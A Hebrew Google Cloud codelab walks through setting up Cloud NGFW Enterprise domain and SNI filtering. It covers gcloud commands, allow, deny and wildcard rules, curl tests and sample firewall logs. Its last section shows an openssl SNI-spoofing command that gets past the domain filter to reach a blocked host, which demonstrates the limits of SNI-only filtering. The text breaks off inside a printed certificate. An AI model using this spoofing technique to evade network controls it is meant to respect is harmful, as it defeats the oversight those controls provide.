1. מבוא
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall הוא שירות חומת אש מבוזר לחלוטין עם יכולות הגנה מתקדמות, מיקרו-פילוח וכיסוי נרחב להגנה על עומסי העבודה שלכם ב-Google Cloud מפני מתקפות פנימיות וחיצוניות.
היתרונות של Cloud NGFW:
- שירות חומת אש מבוזרת: Cloud NGFW מספק אכיפה מבוססת-מארח ומבוזרת לחלוטין בכל עומס עבודה, כדי לאפשר ארכיטקטורת אבטחה של אפס אמון.
- הגדרה ופריסה פשוטות: Cloud NGFW מטמיע מדיניות חומת אש היררכית ורשתית שאפשר לצרף לצומת בהיררכיית המשאבים. המדיניות הזו מספקת חוויית שימוש עקבית בחומת האש בכל היררכיית המשאבים של Google Cloud.
- שליטה גרנולרית ומיקרו-פילוח: השילוב של מדיניות חומת אש ותגיות שמנוהלות על ידי ניהול זהויות והרשאות גישה (IAM) מספק שליטה מדויקת בתעבורה מצפון לדרום וממזרח למערב, עד לרמת מכונה וירטואלית יחידה, ברשתות ענן פרטי וירטואלי (VPC) ובארגונים.
Cloud NGFW זמין ברמות הבאות:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
אובייקטים של שמות דומיין שמוגדרים במלואם (FQDN) ב-Cloud NGFW Standard יכולים לתרגם שמות דומיין שמוגדרים במלואם (FQDN) לכתובות IP, ואז לאכוף את הכלל על רשימת כתובות ה-IP. עם זאת, Cloud NGFW Enterprise עם סינון לפי דומיין יכול לבצע בדיקה מקיפה יותר.
Cloud NGFW Enterprise
Cloud NGFW Enterprise מציע כרגע שירות למניעת חדירות (IPS), יכולת של שכבה 7, למערכת חומות האש המבוזרת של Google Cloud.
ב-Cloud NGFW Enterprise יש עכשיו סינון לפי דומיין, שמאפשר שליטה בתעבורת http(s) באמצעות שמות דומיין במקום להסתמך על כתובות IP.
כדי לסנן תנועת HTTPS לפי דומיין או SNI, כחלק מתהליך הלחיצת יד של TLS, הודעת Client Hello היא תוסף שכולל את Server Name Indication (SNI). SNI הוא תוסף לפרוטוקול TLS ששולח את שם המארח שהלקוח מנסה להגיע אליו. המסננים יאומתו מול קבוצת הבקרה.
בתנועת HTTP אין SNI, ולכן רק שדה הכותרת של מארח ה-HTTP ישמש להחלת הסינון.
סינון הדומיינים מוגדר באמצעות UrlFilteringProfile, שהוא סוג חדש של פרופיל אבטחה. ה-UrlFilteringProfile יכיל רשימה של UrlFilters, שכל אחד מהם מכיל פעולה, רשימה של מחרוזות להתאמה ועדיפות ייחודית. בהגדרה הזו נעשה שימוש ב-Url (כתובת URL) במקום ב-Domain (דומיין) כדי לאפשר מעבר קל לסינון מלא של כתובות URL כשהוא יהיה זמין, במקום ליצור בעתיד סוג חדש של פרופיל אבטחה.
פרופילים של סינון כתובות URL כוללים מסנן כתובות URL מרומז בעדיפות הנמוכה ביותר (2147483647), שידחה את כל החיבורים שלא תואמים למסנן כתובות URL בעדיפות גבוהה יותר.
מה תפַתחו
בשיעור Codelab הזה נדרש פרויקט יחיד ויכולת ליצור רשת VPC ולנהל מספר משאבי רשת ואבטחה. ב-Codelab הזה נדגים איך Cloud NGFW Enterprise יכול לספק סינון לפי דומיין ו-SNI, עם הוראות אופציונליות לבדיקת TLS.
נבדוק תרחישים שונים של כללי הרשאה ודחייה, כולל שימוש בתווים כלליים.

מערכת הכללים של מדיניות חומת האש ברשת תיראה בערך כמו הטבלה הבאה:
עדיפות | כיוון | Target | מקור | יעד | פעולה | סוג |
200 | תעבורת נתונים נכנסת (Ingress) | הכול | IAP | הכול | אישור | Essentials |
300 | תעבורת נתונים יוצאת (egress) | הכול | הכול | 0.0.0.0/0:80,443 | בדיקה ברמה 7 | Enterprise |
מה תלמדו
- איך יוצרים מדיניות חומת אש ברשת.
- איך מגדירים ומשתמשים בסינון לפי דומיין או SNI ב-Cloud NGFW Enterprise.
- איך מגדירים מניעת איומים בנוסף לסינון לפי דומיין או SNI.
- איך בודקים את היומנים.
- [אופציונלי] איך מפעילים בדיקת TLS.
מה תצטרכו
- פרויקט Google Cloud.
- ידע בהטמעה של מופעים ובהגדרת רכיבי רשת.
- ידע בהגדרת חומת אש של מדיניות רשת ב-Kubernetes.
2. לפני שמתחילים
יצירה או עדכון של משתנים
ב-Codelab הזה נעשה שימוש ב-$variables כדי לעזור בהטמעה של הגדרת gcloud ב-Cloud Shell.
ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע שבתוך הסוגריים בהתאם לצורך:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=domain-sni
3. הפעלת ממשקי ה-API
אם עדיין לא עשיתם זאת, מפעילים את ממשקי ה-API:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable privateca.googleapis.com
4. יצירת נקודות קצה של Cloud NGFW Enterprise
יצירת נקודת הקצה של Cloud NGFW Enterprise נמשכת כ-20 דקות, ולכן היא תיווצר קודם. אפשר לבצע את ההגדרה הבסיסית במקביל ליצירת נקודת הקצה.
סינון לפי דומיין או SNI ידרוש נקודת קצה של חומת אש גם אם אתם לא מתכוונים להשתמש בפרופילים של מניעת איומים.
יוצרים את פרופיל האבטחה ואת קבוצת פרופילי האבטחה:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$project_id
מריצים את הפקודה הבאה כדי לוודא שנקודת הקצה נוצרת (CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
תהליך היצירה נמשך כ-20 דקות. עוברים לקטע 'הגדרת הבסיס' כדי ליצור את המשאבים הנדרשים במקביל.
5. הגדרה בסיסית
רשת VPC ותת-רשת
רשת VPC ותת-רשת
יוצרים את רשת ה-VPC ואת רשת המשנה:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
יוצרים את כתובת ה-IP החיצונית, Cloud Router ושער Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
יצירת מכונה
יוצרים את מופע הלקוח:
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet \ --no-address \ --zone $zone
מדיניות חומת אש בין רשתות גלובלית
יוצרים מדיניות גלובלית של חומת אש בין רשתות:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Domain/SNI Filtering" --global
יוצרים את הכללים הנדרשים ב-Cloud Firewall Essential כדי לאפשר תעבורת נתונים מטווחי שרת proxy לאימות זהויות:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
משייכים את מדיניות חומת האש בענן לרשת ה-VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. יצירת הגדרות סינון לפי דומיין או SNI להרשאה
בשלב הבא, נגדיר את הדומיינים שרוצים לאפשר או לחסום. מ-Cloud Shell, יוצרים את קובץ ה-YAML:
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- 'www.example.com'
EOF
יוצרים פרופיל אבטחה ומייבאים את הגדרות ה-YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
הפלט אמור להיראות כך:
Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- www.example.com
- filteringAction: DENY
priority: 2147483647
urls:
- '*'
יוצרים קבוצה של פרופילי אבטחה:
gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp
מוודאים ש-SPG מכיל את פרופיל האבטחה:
gcloud network-security security-profile-groups describe $prefix-spg \ --location=global \ --organization=$org_id \ --project=$project_id
הפלט אמור להיראות כך:
{
"createTime": "2025-09-19T22:06:15.298569417Z",
"dataPathId": "685",
"etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
"name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"updateTime": "2025-09-19T22:06:19.201991641Z",
"urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}
7. שיוך נקודת קצה של Cloud Firewall
מגדירים את משתני הסביבה אם עדיין לא עשיתם את זה או אם אתם מעדיפים את הגישה של הסקריפט.
מוודאים שיצירת נקודת הקצה של חומת האש ב-Cloud הושלמה בהצלחה. ממשיכים רק כשהסטטוס הוא ACTIVE (במהלך היצירה הסטטוס הצפוי הוא CREATING):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
הפלט אמור להיראות כך (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
משייכים את נקודת הקצה של Cloud Firewall לרשת ה-VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
תהליך השיוך נמשך כ-10 דקות. ממשיכים לקטע הבא רק אחרי שהסטטוס הוא ACTIVE (במהלך היצירה הסטטוס הצפוי הוא CREATING):
gcloud network-security firewall-endpoint-associations list
הפלט הצפוי כשמזינים את המילה complete:
ID: $prefix-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
8. יצירת כללים לחומת אש לסינון לפי דומיין או SNI
ל-Google יש כללים משתמעים לחומת אש שמאפשרים תעבורת נתונים יוצאת. אם רוצים לאכוף סינון של דומיין או SNI, צריך להגדיר כלל באופן מפורש. הכלל הבא ישלח תעבורת נתונים יוצאת (egress) ליציאות יעד 80 ו-443 לבדיקה על ידי פרופיל האבטחה שלנו.
gcloud compute network-firewall-policies rules create 300 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --layer4-configs=tcp:80,tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging
9. אימות כללי ההרשאה
מתחילים חיבור SSH למכונה הווירטואלית דרך IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
שולחים את הבקשות לדוגמה ליעד המותר:
curl https://www.example.com --max-time 2
שימו לב שהבקשה הזו בוצעה בהצלחה בגלל כלל חומת האש 'allow'.
ננסה כמה דומיינים שלא נכללים ברשימה.
curl https://example.com --max-time 2 curl https://google.com --max-time 2 curl https://wikipedia.org --max-time 2
הפלט אמור להיראות כך:
curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer
למה הדומיין example.com לא עבד? הסיבה לכך היא שההגדרה של פרופיל האבטחה כללה באופן מפורש את הערך 'www.example.com'. אם רוצים לאפשר את כל תת-הדומיינים של example.com, אפשר להשתמש בתו כללי.
גם הבקשות האחרות נכשלו. הסיבה לכך היא שבקבוצת פרופילי האבטחה יש דחייה כברירת מחדל עם העדיפות הכי נמוכה, ורק www.example.com מורשה.
יוצאים מה-VM כדי לחזור ל-Cloud Shell.
exit
10. עדכון ההגדרה של סינון לפי דומיין או SNI עבור תווים כלליים
בואו נסתכל על קובץ ה-YAML ונבצע כמה עדכונים נוספים כדי להציג יכולות נוספות, כולל תמיכה בתווים כלליים. ניצור כלל שיאפשר שימוש ב-*.com, ששווה לכל דומיין שמסתיים ב- .com. הערה: הפעולה הזו תחליף לחלוטין את התוכן של קובץ ה-YAML המקורי שנוצר בקטע הקודם.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
מעדכנים את פרופיל האבטחה באמצעות הגדרת ה-yaml החדשה:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
מאמתים את ההגדרה של פרופיל האבטחה:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
הפלט אמור להיראות כך:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T03:45:42.519263424Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "ALLOW",
"priority": 2000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
11. אימות כלל wildcard
כדאי לוודא שהכלל עם התו הכללי פועל. מתחילים חיבור SSH למכונה הווירטואלית דרך IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
שולחים את הבקשות לדוגמה ליעדים המותרים:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
כל הבקשות האלה אמורות להצליח. אתם יכולים לנסות כל דומיין אחר עם הסיומת .com. אם עדיין לא הצלחתם, ודאו שהמתנתם לפחות 10 דקות ונסו שוב.
אנחנו יכולים אפילו לנסות כמה תת-דומיינים של .com וכולם אמורים להצליח.
curl https://mail.google.com --max-time 2
יוצאים מה-VM כדי לחזור ל-Cloud Shell.
exit
12. עדכון ההגדרה של סינון לפי דומיין או SNI לצורך דחייה
הראינו שיש כלל DENY מרומז עבור * בסוף פרופיל האבטחה, ויצרנו דומיינים 'מותרים' באמצעות filteringAction כ-'ALLOW'. במאמר הזה נסביר איך להשתמש ב-filteringAction כ-DENY. פעולות מסוג DENY (דחייה) יכולות להיות שימושיות כשהן קודמות לפעולה מפורשת מסוג ALLOW (אישור). דוגמה:
אנחנו נעדכן את קובץ ה-yaml הקיים כדי לאפשר *.com, אבל נדחה באופן ספציפי דומיינים מסוימים של .com.
אנחנו נשנה את קובץ ה-YAML כדי לדחות את *.github.com ואת *.google.com, תוך מתן אישור מפורש לכל שאר הכתובות עם הסיומת *.com, ונשאיר את הדחייה המרומזת שמוגדרת כברירת מחדל. שימו לב: לעדיפות של חריגים צריך להיות מספר עדיפות נמוך יותר: (1000 לעומת 2000) ו-(1500 לעומת 2000).
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.github.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.google.com'
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
מעדכנים את פרופיל האבטחה באמצעות הגדרת ה-yaml החדשה:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
מאמתים את ההגדרה של פרופיל האבטחה:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
13. אימות של כללי דחייה
נבדוק אם כללי ה-DENY פועלים. מתחילים חיבור SSH למכונה הווירטואלית דרך IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
שליחת בקשות לדוגמה ליעדים שנחסמו:
curl https://www.github.com --max-time 2 curl https://mail.google.com --max-time 2
שתי הבקשות האלה היו אמורות להיכשל כי הן תאמו לכלל 'דחייה'.
שליחת בקשות נוספות:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
למה הן עבדו? הכללים האלה פעלו כי כללי ה-DENY היו עבור '.github.com' ו-'.google.com'. הבקשות אל github.com ו-google.com לא כוללות את התו הכללי לחיפוש, כי הוא מתייחס לתת-דומיינים של github.com ו-google.com.
בקשות אחרות לדומיינים עם הסיומת .com אמורות להצליח, ובקשות לדומיינים אחרים יידחו כברירת מחדל. (.org, .net, .me וכו')
יוצאים מה-VM כדי לחזור ל-Cloud Shell.
exit
14. עדכון ההגדרה של סינון לפי דומיין או SNI להגדרה 'ברירת מחדל של אישור'
מה קורה אם רוצים להגדיר התנהגות ברירת מחדל של אישור עם כללי דחייה מפורשים. נעדכן את ה-YAML כדי להציג את ההתנהגות הזו. אנחנו נגדיר כללי DENY לכל דומיין עם הסיומת .com או .net, ונאפשר את כל שאר הדומיינים.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.net'
- filteringAction: ALLOW
priority: 2000000000
urls:
- '*'
EOF
מעדכנים את פרופיל האבטחה באמצעות הגדרת ה-yaml החדשה:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
מאמתים את ההגדרה של פרופיל האבטחה:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
הפלט הצפוי:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T04:32:53.299276787Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "DENY",
"priority": 1000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 1500,
"urls": [
"*.net"
]
},
{
"filteringAction": "ALLOW",
"priority": 2000000000,
"urls": [
"*"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
שימו לב שהדחייה המרומזת של * עדיין קיימת. הכלל הזה הופך ללא רלוונטי כי הגדרנו כלל ברירת מחדל בעדיפות גבוהה יותר (ערך נמוך יותר) שבו filteringAction מוגדר כ-ALLOW.
(2,000,000,000 לעומת 2,147,483,647)
15. אימות של כללי דחייה עם ברירת מחדל של אישור
בואו נבדוק אם כללי ה-DENY פועלים יחד עם ברירת המחדל ALLOW. מתחילים חיבור SSH למכונה הווירטואלית דרך IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
שליחת בקשות לדוגמה ליעדים שנחסמו:
curl https://www.github.com --max-time 2 curl https://www.php.net --max-time 2
שתי הבקשות האלה היו אמורות להיכשל כי הן תאמו לכלל 'דחייה'. כל בקשה עם סיומת com או net צריכה להיכשל.
שליחת כמה בקשות שאמורות להצליח (כל דומיין אחר ברמה העליונה):
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
הבקשות האלה אמורות להצליח כי הן תואמות לכלל ההיתר 'ברירת מחדל' עם עדיפות 2000000000.
16. עיון ביומנים של סינון לפי דומיין או SNI
כדאי לבדוק איך אפשר לוודא שהתנועה נבדקת על ידי כלל חומת האש לסינון לפי דומיין או SNI.
ב-Cloud Console, עוברים אל Logs Explorer ומזינים את המסנן הבא:
jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"
המסנן שלמעלה בודק את מדיניות חומת האש שיצרנו בשם $prefix-fwpolicy ואת העדיפות של הכלל 300, שקבוצת פרופילי האבטחה משויכת אליו בהגדרת הסינון של הדומיין או ה-SNI.

כפי שאפשר לראות, הסטטוס של 'הסדר' הוא 'נחסם', מה שמצביע על כך שהתנועה נחסמה ונשלחה למנוע חומת האש שלנו לעיבוד.
כדי לראות את יומני הסינון של הדומיין או ה-SNI בפועל, אפשר להזין את המסנן הבא ב-Logs Explorer: (צריך להחליף את $project_id בערך של project_id)
logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

אם נרחיב חלק מהפרטים, נוכל לראות את הפרטים הבאים בדוגמה (אחרי ניקוי):
{
"insertId": "mro2t1f4banf9",
"jsonPayload": {
"direction": "CLIENT_TO_SERVER",
"detectionTime": "2025-09-20T04:39:40.713432713Z",
"connection": {
"serverPort": 443,
"serverIp": "198.35.26.96",
"clientPort": 37410,
"protocol": "TCP",
"clientIp": "10.0.0.2"
},
"action": "ALLOW",
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"ruleIndex": 2000000000,
"interceptInstance": {
"projectId": "$project_id",
"zone": "$zone",
"vm": "$prefix-$zone-client"
},
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
},
"sessionLayerDetails": {
"sni": "wikipedia.org",
"protocolVersion": "TLS1_2"
},
"denyType": "unspecified",
"interceptVpc": {
"projectId": "$project_id",
"vpc": "$prefix-vpc"
},
"uriMatched": ""
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:39:43.758897121Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}
בדוגמה של היומן שלמעלה מוצגת בקשה אל wikipedia.org שאושרה כי היא תאמה לכלל בעדיפות 2000000000, שהיה '*' עם filterAction ALLOW. יש פרטים נוספים, כולל SNI.
אפשר לראות יומן לדוגמה עם הרשאת DENY:
{
"insertId": "1pllrqlf60jr29",
"jsonPayload": {
"securityProfileGroupDetails": {
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"organizationId": "$org_id"
},
"action": "DENY",
"interceptVpc": {
"vpc": "$prefix-vpc",
"projectId": "$project_id"
},
"connection": {
"serverIp": "45.112.84.18",
"clientIp": "10.0.0.2",
"protocol": "TCP",
"serverPort": 443,
"clientPort": 45720
},
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"sessionLayerDetails": {
"sni": "www.php.net",
"protocolVersion": "TLS1_2"
},
"interceptInstance": {
"zone": "$zone",
"projectId": "$project_id",
"vm": "$prefix-$zone-client"
},
"detectionTime": "2025-09-20T04:37:57.345031164Z",
"direction": "CLIENT_TO_SERVER",
"ruleIndex": 1500,
"uriMatched": "",
"denyType": "SNI"
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:38:03.757200395Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}
כפי שאפשר לראות למעלה, זו בקשה שנרשמה כשבקשה נדחתה. הבקשה נשלחה אל www.php.net והתאימה לכלל 1500 בפרופיל האבטחה. באופן דומה, המערכת השוותה את ה-SNI כדי לקבל את ההחלטה.
17. אימות כללים כשקיימת זיוף SNI
כמו שצוין במבוא, NGFW Enterprise יכול לבדוק את כותרת המארח של HTTP לתנועת HTTP, או לבדוק את ה-SNI לתנועה מוצפנת ב-TLS. אנשים פרטיים יכולים לזייף SNI. מה קורה אם הם עושים את זה?
בוא נאמת את ההתנהגות. מתחילים חיבור SSH למכונה הווירטואלית דרך IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
מריצים את פקודת openssl הבאה כדי לזייף את ה-SNI:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
בדוגמה שלמעלה, המערכת מצפה שבקשות לדומיינים .com ו- .net ייחסמו, ובקשות לסיומות אחרות ברמה העליונה יותרו. בהמשך מופיעה דוגמה לתשובה מזויפת. הבקשה נשלחת אל www.google.com שאמורה להיות חסומה, אבל במקום לשלוח SNI של www.google.com, אנחנו מציינים SNI של ifconfig.me. מכיוון שהמדיניות בודקת את SNI, היא תראה את זה כדומיין 'מותר' ותאפשר את הגישה. הצלחנו ליצור חיבור TLS ל-google.com.
.
הפלט אמור להיראות כך:
CONNECTED(00000003) depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1 verify return:1 depth=1 C = US, O = Google Trust Services, CN = WR2 verify return:1 depth=0 CN = www.google.com verify return:1 --- Certificate chain 0 s:CN = www.google.com i:C = US, O = Google Trust Services, CN = WR2 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Sep 8 08:37:54 2025 GMT; NotAfter: Dec 1 08:37:53 2025 GMT 1 s:C = US, O = Google Trust Services, CN = WR2 i:C = US, O = Google Trust Services LLC, CN = GTS Root R1 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1 i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256 v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT --- Server certificate -----BEGIN CERTIFICATE----- MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU 5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2 IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+ x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/ zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO 